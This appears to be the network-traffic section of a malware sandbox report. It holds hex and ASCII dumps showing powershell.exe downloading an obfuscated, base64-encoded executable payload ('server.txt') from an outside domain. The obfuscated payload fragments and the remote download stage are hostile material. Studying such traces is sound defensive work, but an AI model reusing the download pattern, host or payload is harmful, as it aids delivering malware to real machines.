                                                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B1lwuzf8YB7XBM2BC%2F2w9u0KsQHyREtnxGFSR69Ck5uH%2BO1txWQkt4KN9uhiaS40pzyawf%2FyJDHxn5ekpf9uCTjNpje1vIfZAG%2FFQXqoxHP6MI8ixa7AWZSW7Q%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                      Server: cloudflare
                                                      CF-RAY: 8ceb622b4fe3434c-EWR
                                                      2024-10-07 05:10:13 UTC1369INData Raw: 31 66 37 66 0d 0a 54 56 71 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4d e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 2f 2f 38 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4c 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86
                                                      Data Ascii: 1f7fTVqQ::M::::E:::://8::Lg:::::::::Q:::::::::::::
                                                      2024-10-07 05:10:13 UTC1369INData Raw: 42 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 50 44 77 e2 86
                                                      Data Ascii: B:::B::::::E:::E::::::::B:::::::::::::::PDw
                                                      2024-10-07 05:10:13 UTC1369INData Raw: 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 49 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 e2 86 93 3a e2 86 93 75 63 6e 4e 79 59 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86
                                                      Data Ascii: :::I::::::::::::::::::C:::G:ucnNyYw:::::E:::::
                                                      2024-10-07 05:10:13 UTC1369INData Raw: 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 4d 77 e2 86 93 3a e2 86 93 77 43 78 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 53 e2 86 93 3a e2 86 93 42 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 2f 67 34 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86
                                                      Data Ascii: ::::::::::::::::::::BMw:wCx:::::Q::ES:B::::/g4::
                                                      2024-10-07 05:10:13 UTC1369INData Raw: 93 3a e2 86 93 34 6c 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 65 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 43 e2 86 93 3a e2 86 93 44 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4f 49 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 79 e2 86 93 3a e2 86 93 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 63 43 69 35 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 63 77 30 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 70 36 4b 69 67 4f e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b 49 4f 67 48 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 67 43 67 e2 86 93
                                                      Data Ascii: :4lw:::Be::Q::BC:D::::OIw:::By:Q::cCi5:::Gcw0:::p6KigO:::KIOgH:::gCg
                                                      2024-10-07 05:10:13 UTC1226INData Raw: 43 67 43 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 4b 67 4d 77 43 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4d e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 44 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 69 4c e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 4b 67 4d 77 43 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4f e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86
                                                      Data Ascii: CgC:::GKgMwC::M:::::::::Dg::::::CiL:::GKgMwC::O::::::::
                                                      2024-10-07 05:10:13 UTC1369INData Raw: 34 30 30 30 0d 0a e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 44 67 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b 6a 6a 45 2f 2f 2f 2f 4f 75 66 2f 2f 2f 38 6d 49 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 34 7a 76 2f 2f 2f 7a 6a 58 2f 2f 2f 2f 4f 4b 44 2f 2f 2f 38 34 32 2f 2f 2f 2f 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4d 77 43 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4d e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 44 67 e2 86 93 3a e2 86 93
                                                      Data Ascii: 4000::Dgg::::KjjE////Ouf///8mI::::::4zv///zjX////OKD///842////w::::MwC::M:::::::::Dg:
                                                      2024-10-07 05:10:13 UTC1369INData Raw: 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 44 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 66 67 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 51 55 2f 67 45 71 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 44 4d e2 86 93 3a e2 86 93 67 e2 86 93 3a e2 86 93 43 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 34 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 48 34 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93
                                                      Data Ascii: ::::Dg:::::fgQ:::QU/gEq:::DM:g:Cw:::::::::4:::::H4E::
                                                      2024-10-07 05:10:13 UTC1369INData Raw: 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 48 36 78 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 65 30 73 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 51 34 55 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 44 68 65 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4f 44 6e 2f 2f 2f 38 34 74 66 2f 2f 2f 7a 67 7a 2f 2f 2f 2f 4f 53 37 2f 2f 2f 38 6d 49 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 34 65 50 2f 2f 2f 7a 67 65 2f 2f 2f 2f 4f 68 6e 2f 2f 2f 38 6d 49 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a
                                                      Data Ascii: :::H6x:::Ee0s:::Q4Uw:::Dhe::::ODn///84tf///zgz////OS7///8mI::::::4eP///zge////Ohn///8mI::::::
                                                      2024-10-07 05:10:13 UTC1369INData Raw: 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 46 50 34 42 4b 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 7a e2 86 93 3a e2 86 93 49 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 73 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4f e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 2b 43 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 43 6f e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 7a e2 86 93 3a e2 86 93 49 e2 86 93 3a e2 86 93 42 49 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2
                                                      Data Ascii: ::EFP4BKg:::z:I::s:::::::::O:::::B+CQ::BCo::z:I:BI:::::


                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                      2192.168.2.64977185.120.16.934433700C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      TimestampBytes transferredDirectionData
                                                      2024-10-07 05:10:14 UTC86OUTGET /images/server.txt HTTP/1.1
                                                      Host: simonastolerciuc.ro
                                                      Connection: Keep-Alive
                                                      2024-10-07 05:10:14 UTC389INHTTP/1.1 200 OK
                                                      Connection: close
                                                      content-type: text/plain
                                                      last-modified: Fri, 04 Oct 2024 15:17:34 GMT
                                                      etag: "a1000-6700070e-0;;;"
                                                      accept-ranges: bytes
                                                      content-length: 659456
                                                      date: Mon, 07 Oct 2024 05:10:14 GMT
                                                      server: LiteSpeed
                                                      vary: User-Agent
                                                      referrer-policy: no-referrer-when-downgrade
                                                      access-control-allow-origin: *
                                                      pragma: public
                                                      cache-control: max-age=3600, public
                                                      2024-10-07 05:10:15 UTC16384INData Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 77 44 71 38 67 49 50 73 78 44 54 38 77 43 50 49 73 44 2f 37 77 39 4f 77 75 44 6c 37 51 33 4f 55 74 44 4d 37 41 68 4f 73 72 44 7a 36 77 71 4f 4d 71 44 62 36 51 6b 4f 6f 6f 44 45 36 67 67 4f 45 6f 44 41 35 77 66 4f 34 6e 44 39 35 41 36 4d 30 4d 44 4d 79 51 71 4d 67 4b 44 68 79 41 6f 4d 38 4a 44 63 79 67 6c 4d 49 4a 44 4f 79 67 69 4d 59 45 44 36 78 67 64 4d 55 48 44 30 78 77 63 4d 49 48 44 78 78 41 63 4d 38 47 44 75 78 77 61 4d 6f 47 44 70 78 41 61 4d 63 47 44 6d 78 51 5a 4d 51 47 44 6a 78 67 59 4d 34 46 44 64 78 41 48 41 41 41 41
                                                      Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwDq8gIPsxDT8wCPIsD/7w9OwuDl7Q3OUtDM7AhOsrDz6wqOMqDb6QkOooDE6ggOEoDA5wfO4nD95A6M0MDMyQqMgKDhyAoM8JDcyglMIJDOygiMYED6xgdMUHD0xwcMIHDxxAcM8GDuxwaMoGDpxAaMcGDmxQZMQGDjxgYM4FDdxAHAAAA
                                                      2024-10-07 05:10:15 UTC16384INData Raw: 41 41 41 41 34 41 51 41 41 41 41 50 65 77 44 41 37 38 38 4f 55 74 6a 51 37 4d 54 4f 31 6d 44 6d 35 73 59 4f 38 6c 44 57 35 49 56 4f 69 6b 7a 42 34 6b 4f 4f 66 6a 44 6d 34 77 48 4f 79 68 44 43 33 6b 2f 4e 30 66 7a 37 33 6f 36 4e 6c 65 6a 55 33 45 68 4e 36 62 54 75 32 73 71 4e 6c 61 7a 46 31 55 61 4e 67 57 54 6b 31 49 42 4e 32 54 44 30 30 73 4d 4e 46 4e 7a 71 7a 41 35 4d 4c 4f 44 64 7a 51 32 4d 70 4d 54 44 7a 67 67 4d 74 4c 7a 32 79 6f 73 4d 44 4c 54 74 79 77 71 4d 68 4b 7a 6c 79 77 6f 4d 43 4b 7a 63 79 41 6d 4d 76 49 7a 41 78 6f 66 4d 6b 48 7a 77 78 38 61 4d 51 47 54 67 78 63 57 4d 2f 45 44 4c 78 51 42 4d 6c 44 7a 33 77 49 48 4d 36 41 7a 4b 77 45 43 4d 50 41 7a 42 41 41 41 41 6f 43 41 41 77 44 77 50 7a 2f 54 79 2f 51 38 50 69 2b 7a 6c 2f 77 33 50 32 39 54
                                                      Data Ascii: AAAA4AQAAAAPewDA788OUtjQ7MTO1mDm5sYO8lDW5IVOikzB4kOOfjDm4wHOyhDC3k/N0fz73o6NlejU3EhN6bTu2sqNlazF1UaNgWTk1IBN2TD00sMNFNzqzA5MLODdzQ2MpMTDzggMtLz2yosMDLTtywqMhKzlywoMCKzcyAmMvIzAxofMkHzwx8aMQGTgxcWM/EDLxQBMlDz3wIHM6AzKwECMPAzBAAAAoCAAwDwPz/Ty/Q8Pi+zl/w3P29T
                                                      2024-10-07 05:10:15 UTC16384INData Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 2f 6e 58 65 61 2b 66 6b 52 61 38 2f 70 6d 36 32 2f 48 63 77 30 2f 2f 32 62 2f 2f 2f 33 66 2f 2f 2f 7a 4e 33 72 76 73 6b 53 65 4d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
                                                      Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/nXea+fkRa8/pm62/Hcw0//2b///3f///zN3rvskSeMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                      2024-10-07 05:10:15 UTC16384INData Raw: 41 55 6b 6c 55 44 41 51 41 52 47 64 7a 42 6b 62 76 6c 47 64 77 56 32 59 34 56 32 58 6b 46 6d 59 57 46 30 50 75 41 41 41 41 41 41 41 46 5a 4a 31 41 41 41 51 41 52 47 64 7a 42 45 51 41 52 58 5a 30 46 47 64 7a 4a 57 54 66 56 46 52 45 42 45 64 32 4e 57 5a 6b 39 32 59 6b 38 6a 56 42 39 6a 4c 41 41 41 41 41 41 51 52 57 53 4e 41 41 42 45 5a 30 4e 48 51 45 42 55 5a 77 6c 48 64 6a 52 79 50 57 46 30 50 75 41 41 41 41 41 41 41 46 5a 4a 31 41 41 41 41 41 41 45 51 6b 52 33 63 41 56 32 63 68 4a 32 58 6c 42 58 65 30 4e 57 56 42 39 6a 4c 41 41 41 41 41 41 51 52 57 53 4e 41 41 41 45 51 6b 52 33 63 41 56 32 63 68 4a 32 58 30 5a 33 59 6c 52 32 62 6a 5a 56 51 2f 34 43 41 41 41 41 41 41 55 6b 6c 55 44 41 41 41 41 45 51 6b 52 33 63 41 56 47 64 6c 78 57 5a 6b 39 31 64 6c 35 32
                                                      Data Ascii: AUklUDAQARGdzBkbvlGdwV2Y4V2XkFmYWF0PuAAAAAAAFZJ1AAAQARGdzBEQARXZ0FGdzJWTfVFREBEd2NWZk92Yk8jVB9jLAAAAAAQRWSNAABEZ0NHQEBUZwlHdjRyPWF0PuAAAAAAAFZJ1AAAAAAEQkR3cAV2chJ2XlBXe0NWVB9jLAAAAAAQRWSNAAAEQkR3cAV2chJ2X0Z3YlR2bjZVQ/4CAAAAAAUklUDAAAAEQkR3cAVGdlxWZk91dl52
                                                      2024-10-07 05:10:15 UTC16384INData Raw: 41 41 41 41 41 38 2f 2f 2f 37 50 41 44 46 4b 74 41 4d 55 6f 71 43 41 41 41 41 41 41 44 46 61 35 41 41 41 41 41 38 2f 2f 2f 37 50 41 41 41 41 41 2f 2f 2f 2f 51 44 41 41 41 41 77 2f 2f 2f 76 2f 41 41 41 41 46 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 51 47 54 57 67 49 41 41 41 41 42 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 59 55 35 41 43 41 41 41 45 51 47 54 57 67 49 41 55 30 66 4d 38 2f 2f 2f 2f 50 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 47 56 4f 56 41 41 41 41 42 6b 78 6b 46 49 43 41 46 39 33 4c 2f 2f 2f 2f 2f 44 77 51 53 4a 4a 41 41 41 41 44 41 41 41 41 41 38 2f 2f 2f 2f 50 41 41 41 41
                                                      Data Ascii: AAAAA8///7PADFKtAMUoqCAAAAAADFa5AAAAA8///7PAAAAA////QDAAAAw///v/AAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQGTWgIAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAYU5ACAAAEQGTWgIAU0fM8////PAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGVOVAAAABkxkFICAF93L/////DwQSJJAAAADAAAAA8////PAAAA
                                                      2024-10-07 05:10:15 UTC16384INData Raw: 42 42 6a 51 34 51 6a 4d 43 52 45 4d 42 46 44 4f 31 59 45 52 45 4a 7a 4e 7a 51 6a 52 78 67 44 52 30 4d 6a 4e 33 4d 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 6b 52 47 5a 45 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 47 56 55 51 79 4d 55 52 7a 51 45 52 46 68 7a 51 31 67 54 51 79 51 55 4f 78 51 55 52 79 45 45 4f 45 68 54 4f 7a 59 54 4e 32 4d 55 51 31 63 44 4f 7a 45 44 4d 31 59 45 4f 34 41 44 4e 78 4d 44 4d 79 45 54 4d 30 45 44 4f 46 5a 55 52 32 4d 55 4f 45 46 44 4f 78 6b 54 4d 45 4a 44 4f 47 4e 54 52 43 5a 54 4e 77 55 45
                                                      Data Ascii: BBjQ4QjMCREMBFDO1YEREJzNzQjRxgDR0MjN3MkRGZkRGZkRGZkRGZkRGZkRGZkRGZkRGZkRGZkRGZkRGZkRGZkRGZkRGZkRGZkRGZEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGVUQyMURzQERFhzQ1gTQyQUOxQURyEEOEhTOzYTN2MUQ1cDOzEDM1YEO4ADNxMDMyETM0EDOFZUR2MUOEFDOxkTMEJDOGNTRCZTNwUE
                                                      2024-10-07 05:10:15 UTC16384INData Raw: 59 30 33 70 51 77 61 6d 37 67 63 4a 53 4d 37 7a 56 33 53 71 76 42 39 6b 38 6c 57 58 41 36 37 6e 44 2f 61 39 43 6d 7a 39 65 35 43 32 34 69 4f 6b 4e 4f 68 77 32 37 6e 52 69 52 31 58 4d 76 70 61 34 4a 5a 44 51 70 54 6e 6b 7a 53 72 2f 53 36 50 33 36 6f 4a 61 72 6e 33 6f 55 61 39 42 2b 73 70 55 76 67 4e 59 71 73 6f 2b 7a 49 4f 52 48 63 32 4a 35 30 78 48 4f 44 6b 76 4c 53 66 73 67 74 56 77 2f 6a 47 67 79 50 6a 45 6a 61 36 6b 4a 79 52 55 69 6b 2b 52 41 58 75 5a 6d 36 73 57 77 32 4b 42 50 4f 30 33 5a 6f 55 73 33 67 73 77 4d 50 33 65 2b 79 53 64 6b 53 6f 74 64 63 2b 79 45 68 72 37 32 44 2b 53 72 45 4a 39 56 6f 78 52 41 43 68 58 4b 43 51 54 4d 57 68 51 49 55 4d 63 72 38 31 6b 48 2f 59 34 32 4f 2f 6f 5a 37 49 47 7a 39 79 44 6c 69 64 4c 75 76 66 30 73 6c 5a 37 55 4d
                                                      Data Ascii: Y03pQwam7gcJSM7zV3SqvB9k8lWXA67nD/a9Cmz9e5C24iOkNOhw27nRiR1XMvpa4JZDQpTnkzSr/S6P36oJarn3oUa9B+spUvgNYqso+zIORHc2J50xHODkvLSfsgtVw/jGgyPjEja6kJyRUik+RAXuZm6sWw2KBPO03ZoUs3gswMP3e+ySdkSotdc+yEhr72D+SrEJ9VoxRAChXKCQTMWhQIUMcr81kH/Y42O/oZ7IGz9yDlidLuvf0slZ7UM
                                                      2024-10-07 05:10:15 UTC16384INData Raw: 39 67 7a 61 4a 34 2f 2b 77 55 77 50 4c 65 56 6e 32 36 4e 41 41 30 6a 50 46 67 54 4c 52 64 2f 47 2f 77 33 41 6f 71 41 35 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 77 50 61 70 48 62 2f 36 53 51 49 38 72 38 36 4a 50 33 33 46 62 4e 41 5a 78 71 66 36 48 47 5a 65 2f 50 38 72 6d 41 63 62 5a 4e 53 44 63 4a 4a 44 6f 61 31 51 59 56 41 6a 77 6b 4a 51 57 4b 42 32 44 51 31 6b 49 46 47 66 70 7a 35 2f 48 38 41 41 41 41 41 41 51 41 2f 42 50 41 41 41 41 41 41 45 77 66 77 44 41 41 41 41 41 41 41 38 50 38 41 41 41 41 41 41 41 41 44 42 44 41 41 41 41 41 41 41 77 51 77 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 77 50 77 44 41 41 41 41 41 41 41 38 44 38 41 41 41 41 41 41 41
                                                      Data Ascii: 9gzaJ4/+wUwPLeVn26NAA0jPFgTLRd/G/w3AoqA5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwPapHb/6SQI8r86JP33FbNAZxqf6HGZe/P8rmAcbZNSDcJJDoa1QYVAjwkJQWKB2DQ1kIFGfpz5/H8AAAAAAQA/BPAAAAAAEwfwDAAAAAAA8P8AAAAAAAADBDAAAAAAAwQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwPwDAAAAAAA8D8AAAAAAA
                                                      2024-10-07 05:10:15 UTC16384INData Raw: 39 79 55 69 36 53 6d 38 61 56 31 76 49 6e 61 72 4a 67 45 6f 41 30 4c 51 63 4d 32 5a 56 31 73 41 2f 6d 63 66 46 4a 4f 52 41 43 51 76 46 64 70 62 41 4b 6d 78 66 38 72 79 50 31 75 57 37 43 4b 41 39 71 30 57 5a 6d 2b 48 70 64 37 76 4c 62 43 6f 37 50 49 34 41 30 37 4a 45 43 70 44 43 56 4c 4f 2f 75 4d 2f 63 31 78 57 67 44 51 76 46 55 66 7a 6b 4c 4a 79 35 38 4c 7a 54 6a 4a 36 2b 41 49 41 39 75 43 5a 45 75 37 6a 67 6b 77 76 4e 7a 4b 55 2b 33 47 51 41 30 72 4e 76 5a 36 38 2f 7a 50 77 2f 36 73 68 2b 6c 51 50 41 44 51 76 39 55 68 64 67 55 73 55 42 2f 37 7a 66 70 71 66 78 42 4b 41 39 79 54 61 79 68 38 45 6c 48 30 76 51 33 68 49 4d 53 50 41 41 30 37 51 48 7a 79 54 34 39 64 6f 2f 43 4e 6a 59 78 6f 32 77 42 51 76 72 77 4b 72 41 6b 77 51 6c 2b 4c 30 37 6e 67 4f 2f 41 4e
